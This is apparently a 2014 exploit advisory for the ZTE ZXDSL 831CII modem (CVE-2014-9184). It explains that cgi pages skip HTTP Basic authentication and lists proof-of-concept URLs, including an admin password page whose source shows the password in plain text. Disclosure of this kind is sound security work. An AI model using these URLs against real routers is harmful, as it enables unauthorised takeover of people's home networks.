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ZTE ZXDSL 831CII Insecure Direct Object Reference

ZTE ZXDSL 831CII Insecure Direct Object Reference
Posted Nov 7, 2014
Authored by Paulos Yibelo

ZTE ZXDSL 831CII suffers from an insecure direct object reference vulnerability that allows for authentication bypass.

tags | exploit
advisories | CVE-2014-9184
MD5 | 86a0b0892af7534612c8be4f2ce5105c

ZTE ZXDSL 831CII Insecure Direct Object Reference

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The modem usually serves html files & protects them with HTTP Basic authentication. however, the cgi files, does not get this protection. so simply requesting any cgi file (without no authentication) would give a remote attacker full access to the modem and then can easily be used to root the modem and disrupt network activities. 

So requesting modem.ip.address would result HTTP Authentication request, but simply requesting http://192.168.1.1/main.cgi will bypass it.

PoC: http://192.168.1.1/adminpasswd.cgi (will result admin password change page) - viewing the source will show the current password (unencrypted)
http://192.168.1.1/userpasswd.cgi
http://192.168.1.1/upload.cgi
http://192.168.1.1/conprocess.cgi
http://192.168.1.1/connect.cgi
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